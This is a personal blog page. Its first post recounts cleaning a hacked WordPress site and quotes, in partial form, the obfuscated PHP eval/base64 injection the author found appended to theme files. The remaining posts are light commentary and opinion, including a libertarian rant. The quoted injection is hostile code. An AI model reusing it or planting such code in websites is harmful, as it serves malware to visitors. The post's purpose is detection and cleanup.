A Tojan of the name JS.Iframe.as going to osa.pl

This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.

Took me a while, amongst other things, because the location of my server changed due to a data-center consolidation. So it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?

But eventually all turned out fine and the site is working properly again. As I looked around the net quite a bit and did not find a good solution, I thought I share here in the hope that it might help another soul at some time.

First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-level  “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.

Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.

Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!

Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?

Finally the good idea came and I should have looked there first: a diff over the theme I was using with an installation that used the same finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
…and so on
= “\x65\144\x6f\154\x70\170\x65″;$eva1tYldakBcVSir = “\x73\164\x72\162\x65\166″;$eva1tYldakBoVS1r = “\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160″;$eva1tYidokBoVSjr = “\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145″;$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = “\x73\164\x72\x65\143\x72\160\164\x72″;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65″;$eva1tYldakBoVS1r = “\x65\143\x72\160″;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.

Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.

Now I just have to send him an email with his new password.

Hope this might help somebody sometime.

Posted in Computer, Educational, Internet, Technology | Tagged , , , , , , , , , , , | 4 Comments

I must be a geek

I love automating things, even though sometimes I have the idea that the time to create the automation seems longer than it would have taken to do it manually.

Right now I am considering to find that plugin for firefox again that allows me to automate filling a form. I know I had this before I updated my computer but I just can’t remember it any more what the name was.

Mostly I need this to fill out a non-standard form on an e-commerce site when I have to do some test purchases. When I ran into this graphic…

… I decided it’s better to do it right away instead of waiting through the initial straight line that I have in common with the non-geek.

Posted in Computer, Fun Stuff | Tagged , , , , , | Leave a comment

Diebold Error Reveals Winner of Election Too Early

This is an old one and I saw it when it came out, but thanks to random browsing it found me again today – and this time I’m sharing it!


Diebold Accidentally Leaks Results Of 2008 Election Early

Posted in Fun Stuff, Politics, Video | Tagged , , | Leave a comment

Season’s Greetings

Wishing you all the best for the holidays and a very successful 2012.

Posted in Activities, Stories, Weird | Tagged , | 1 Comment

Amazing Photography

For your enjoyment, another slideshow of most amazing photography…

Posted in Art, Video | Tagged , , , , , | Leave a comment

The How-to-Geek Blog

One of the few things that remain on my ‘look-at-every-time” blogs is How-to Geek.

In its year-end cleaning they revisited their Best How-To Geek Guides of 2011. Subjects covered are:

  1. The How-To Geek Guide to Getting Started with LastPass
  2. The How-To Geek Guide to XBMC Add-Ons
  3. The How-To Geek Guide to Making Your Own Custom Ethernet Cables
  4. The How-To Geek Guide to Getting Started with Usenet
  5. Hardware Upgrade: The HTG Guide to Picking the Right PC Monitor
  6. The Beginner’s Guide to Using QoS (Quality of Service) on Your Router
  7. How to Secure Your Wi-Fi Network Against Intrusion
  8. How to Use a Soldering Iron: A Beginner’s Guide
  9. How to Pick the Right Motherboard for Your Custom-Built PC
  10. The How-To Geek Video Guide to Using Windows 7 Speech Recognition
  11. The Beginner’s Guide to Shell Scripting
  12. The How-To Geek Guide to Hackintoshing
  13. The How-To Geek Guide to Audio Editing Using Audacity
  14. The How-To Geek Guide to Scoring Free Wi-Fi
  15. The How-To Geek Guide to 3D Monitors and TVs
  16. The How-To Geek Guide to Buying an HDTV

How come I read this blog and not the many others I am subscribed to?

The reason is simply that this is the only one I am subscribed to by email. I had, in the past, set up RSS feeds for all the other sites I wanted to keep up with in my Thunderbird and I read, or at least skimmed, them all on a daily basis.

Until it got too time consuming and I decided to use Google Reader so that these new posts did not interrupt my workflow. I transferred all the feeds to Google Reader and made a nice icon in my task bar for it – - – and that is where it remains – mostly unnoticed. Now, when I remember to check new blog posts, I have an overwhelming “>1000″ to deal with. So, most of the time, I just select ‘set all as read’ and be done with it.

Conclusion – email still gets much more of my attention than RSS feeds in Reader.

Posted in Computer, Internet, Technology | Tagged , , , , , , , , | Leave a comment

The Best Music Mash-Up Ever

It really sounds as if this is one and the same song, and the video elements are just stunningly selected and mixed – Pink Floyd and the Bee Gees, who would have thought?

YouTube Preview Image

Posted in Creativity, Music, Video | Tagged , , | Leave a comment

Corrupt Politicians

and there are still people around that are astonished about this…

Posted in Politics, Video | Tagged , , | Leave a comment

10 Reasons why the Mafia is Better than the State

At the Porcupine Freedom Festival which is held annually in NH by the Free State Project, a person, who I only know as Emily, delivered the rant I want to present here in a free transcription.

The usual argument against a society without the state (anarchy) is that we would first sink into total chaos (another meaning of anarchy, yet not the right one) and then organized crime would take over.

Let’s assume that this is true – which it probably is not – but let’s just look at it for the sake of argument, and we find out quickly that we would still be better off with the Mafia than the current ‘state’ of affairs.

10. The Mafia has a sense of honor – when they say they do something then they do it. That is not the case with people running the state. (Ed. comment: this is self-evident if you look from which ‘professional’ group the members are generally recruited.)

9. The Mafia’s code of conduct is simple and clear. There is no legal double-talk and not millions of rules and regulations.

8. When two families of the Mafia go to war they do not create millions of fatalities as collateral damages. For the Mafia that would be just bad for business.

7. Instead of conducting a war on drugs the Mafia is happy to provide quality products to those people who desire them.

6. When you buy protection from the government, you get protection. The Mafia limits violent crimes in the area they protect instead of just giving you a phone number to dial when you become a victim of violence.

5. The protection of the Mafia is much less expensive at 10 to 15% of your profits versus at least 40 to 50% for the current legal syndicate.

4. Unlike the government the Mafia actually wants your business to succeed. They know that ruining your business makes you unable to pay for their protection. They also don’t impose a huge overhead of paperwork and force you to fill out reams of self-incriminating confessions (tax forms.)

3. The Mafia will not keep you from having guns to protect yourself. The Mafia will gladly sell you the means to protect yourself.

2. Different than the state the Mafia will not regulate what you do in your bedroom. Instead they will offer for sale all the things you might need to increase your enjoyment.

1. Members of the Mafia have style, dress much better and are a lot easier on the eye than government bureaucrats.

The added advantage of having the Mafia being in charge is that the ‘protected’ do not believe that the organized crime lords have a god-given right to rule us (as most people believe the government has.) This will make it much easier for competition which will then drive down prices – something that will always happen in a free society.

If you are interested in seeing a bit more clearly what is going on here, a good introduction is delivered by this video by Stefan Molyneux…

YouTube Preview Image

Posted in Fun Stuff, Philosophical, Politics | Tagged , , , , , , , , , , , , , | Leave a comment

I never went to the boy scouts

Good that there is Youtube, so that  I can make up – at least somewhat – what I missed by never being in the boyscouts.

Like this knot…

YouTube Preview Image

Posted in Educational, Video | Tagged , , | Leave a comment